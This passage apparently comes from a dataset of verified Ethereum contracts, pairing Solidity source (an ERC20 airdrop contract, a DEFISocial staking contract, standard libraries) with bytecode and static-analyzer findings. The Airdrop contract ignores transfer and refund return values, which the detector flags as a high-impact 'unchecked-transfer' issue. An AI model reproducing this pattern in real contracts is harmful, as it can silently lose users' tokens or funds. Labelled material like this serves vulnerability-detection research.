function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ConcaveTeam {
}
|
0x73b9947feef7fad941682d33768638a1823472f67b30146080604052600080fdfea2646970667358221220b4b2f2244dda91c5b2a63f98711105a3f357a6fddd5b5e3574840e1e07e41cbb64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 7,734 |
0x2e4a2c24f87a2c39b41e7c4d17a9da730b2c411d
|
/**
*Submitted for verification at Etherscan.io on 2022-03-22
*/
/**
*Submitted for verification at snowtrace.io on 2022-02-18
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () public {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function getUnlockTime() public view returns (uint256) {
return _lockTime;
}
function getTime() public view returns (uint256) {
return block.timestamp;
}
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = block.timestamp + time;
emit OwnershipTransferred(_owner, address(0));
}
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(block.timestamp > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Airdrop is Ownable {
using SafeMath for uint256;
/*
* Fee vars
*/
uint256 public feesInETH = 1 * 10 ** 17;
address payable public companyWallet;
event FeesChanged(uint256 indexed fees);
constructor() public {
companyWallet = payable(msg.sender);
}
function airdrop(
address token,
address[] calldata _users,
uint128[] calldata _amounts
) public payable {
require(_users.length == _amounts.length, "array length not eq");
if( feesInETH > 0 ) {
uint256 minAmount = feesInETH;
require(msg.value >= minAmount, "Low fee amount");
uint256 feeDiff = msg.value - minAmount;
(bool success,) = companyWallet.call{value: minAmount}("");
require(success, "Fee transfer failed");
/* refund difference. */
if (feeDiff > 0) {
(bool refundSuccess,) = _msgSender().call{value: feeDiff}("");
}
}
for (uint256 j = 0; j < _users.length; j++) {
IERC20(token).transferFrom(msg.sender, _users[j], _amounts[j]);
}
}
function setFeesInETH(uint256 _feesInETH)
external
onlyOwner
{
feesInETH = _feesInETH;
emit FeesChanged(_feesInETH);
}
function setCompanyWallet(address payable _companyWallet)
external
onlyOwner
{
require(_companyWallet != address(0), "Invalid wallet address");
companyWallet = _companyWallet;
}
}
|
0x6080604052600436106100a75760003560e01c806376743b6b1161006457806376743b6b146101e657806387ab8935146102115780638da5cb5b146102ff578063a69df4b514610340578063dd46706414610357578063f2fde38b14610392576100a7565b80631ec32d15146100ac57806328831187146100ed578063557ed1ba1461013e5780635e41ea5614610169578063602bc62b146101a4578063715018a6146101cf575b600080fd5b3480156100b857600080fd5b506100c16103e3565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156100f957600080fd5b5061013c6004803603602081101561011057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610409565b005b34801561014a57600080fd5b506101536105b8565b6040518082815260200191505060405180910390f35b34801561017557600080fd5b506101a26004803603602081101561018c57600080fd5b81019080803590602001909291905050506105c0565b005b3480156101b057600080fd5b506101b96106bf565b6040518082815260200191505060405180910390f35b3480156101db57600080fd5b506101e46106c9565b005b3480156101f257600080fd5b506101fb61084f565b6040518082815260200191505060405180910390f35b6102fd6004803603606081101561022757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561026457600080fd5b82018360208201111561027657600080fd5b8035906020019184602083028401116401000000008311171561029857600080fd5b9091929391929390803590602001906401000000008111156102b957600080fd5b8201836020820111156102cb57600080fd5b803590602001918460208302840111640100000000831117156102ed57600080fd5b9091929391929390505050610855565b005b34801561030b57600080fd5b50610314610c28565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561034c57600080fd5b50610355610c51565b005b34801561036357600080fd5b506103906004803603602081101561037a57600080fd5b8101908080359060200190929190505050610e6e565b005b34801561039e57600080fd5b506103e1600480360360208110156103b557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061105f565b005b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61041161126a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610574576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f496e76616c69642077616c6c657420616464726573730000000000000000000081525060200191505060405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600042905090565b6105c861126a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610688576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600381905550807f3dda580d2b9d92da338ef46ec718e7b1dd0a2c505e3df4aa8d40360192a0f82260405160405180910390a250565b6000600254905090565b6106d161126a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610791576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60035481565b8181905084849050146108d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f6172726179206c656e677468206e6f742065710000000000000000000000000081525060200191505060405180910390fd5b60006003541115610adc576000600354905080341015610958576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f4c6f772066656520616d6f756e7400000000000000000000000000000000000081525060200191505060405180910390fd5b600081340390506000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168360405180600001905060006040518083038185875af1925050503d80600081146109e1576040519150601f19603f3d011682016040523d82523d6000602084013e6109e6565b606091505b5050905080610a5d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f466565207472616e73666572206661696c65640000000000000000000000000081525060200191505060405180910390fd5b6000821115610ad8576000610a7061126a565b73ffffffffffffffffffffffffffffffffffffffff168360405180600001905060006040518083038185875af1925050503d8060008114610acd576040519150601f19603f3d011682016040523d82523d6000602084013e610ad2565b606091505b50509050505b5050505b60005b84849050811015610c20578573ffffffffffffffffffffffffffffffffffffffff166323b872dd33878785818110610b1357fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff16868686818110610b3c57fe5b905060200201356fffffffffffffffffffffffffffffffff166040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff168152602001826fffffffffffffffffffffffffffffffff1681526020019350505050602060405180830381600087803b158015610bd757600080fd5b505af1158015610beb573d6000803e3d6000fd5b505050506040513d6020811015610c0157600080fd5b8101908080519060200190929190505050508080600101915050610adf565b505050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cf7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806112996023913960400191505060405180910390fd5b6002544211610d6e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f436f6e7472616374206973206c6f636b656420756e74696c203720646179730081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610e7661126a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f36576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550804201600281905550600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b61106761126a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611127576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156111ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806112736026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60003390509056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6f636ba264697066735822122093263c6e06ca45ab610eee1b887cbac6dce1bb7915c70e16c38e0202d2d707d064736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 7,735 |
0x2ef187d433d3d082fe37c490daaca21c0a16cc9c
|
/**
*Submitted for verification at Etherscan.io on 2020-12-11
*/
pragma solidity >=0.7.0;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract DEFISocialStaking is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
// DEFISocial token contract address
address public constant tokenAddress = 0x54ee01beB60E745329E6a8711Ad2D6cb213e38d7;
// reward rate 72.00% per year
uint public rewardRate = 7200;
uint public constant rewardInterval = 365 days;
// staking fee 1 percent
uint public constant stakingFeeRate = 100;
// unstaking fee 0.50 percent
uint public constant unstakingFeeRate = 50;
// unstaking possible after 12 hours
//uint public constant cliffTime = 12 hours;
uint public totalClaimedRewards = 0;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public stakingTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
function updateAccount(address account) private {
uint pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
require(Token(tokenAddress).transfer(account, pendingDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
emit RewardsTransferred(account, pendingDivs);
}
lastClaimedTime[account] = block.timestamp;
}
function getPendingDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint timeDiff = block.timestamp.sub(lastClaimedTime[_holder]);
uint stakedAmount = depositedTokens[_holder];
//IBA POOL +API
//uint numHolders = getNumberOfHolders();
//uint rewardRateFinal = numHolders.mul(1e2);
uint pendingDivs = stakedAmount
.mul(rewardRate)
.mul(timeDiff)
.div(rewardInterval)
.div(1e4);
return pendingDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function deposit(uint amountToStake) public {
require(amountToStake > 0, "Cannot deposit 0 Tokens");
require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
uint fee = amountToStake.mul(stakingFeeRate).div(1e4);
uint amountAfterFee = amountToStake.sub(fee);
require(Token(tokenAddress).transfer(owner, fee), "Could not transfer deposit fee.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee);
if (!holders.contains(msg.sender)) {
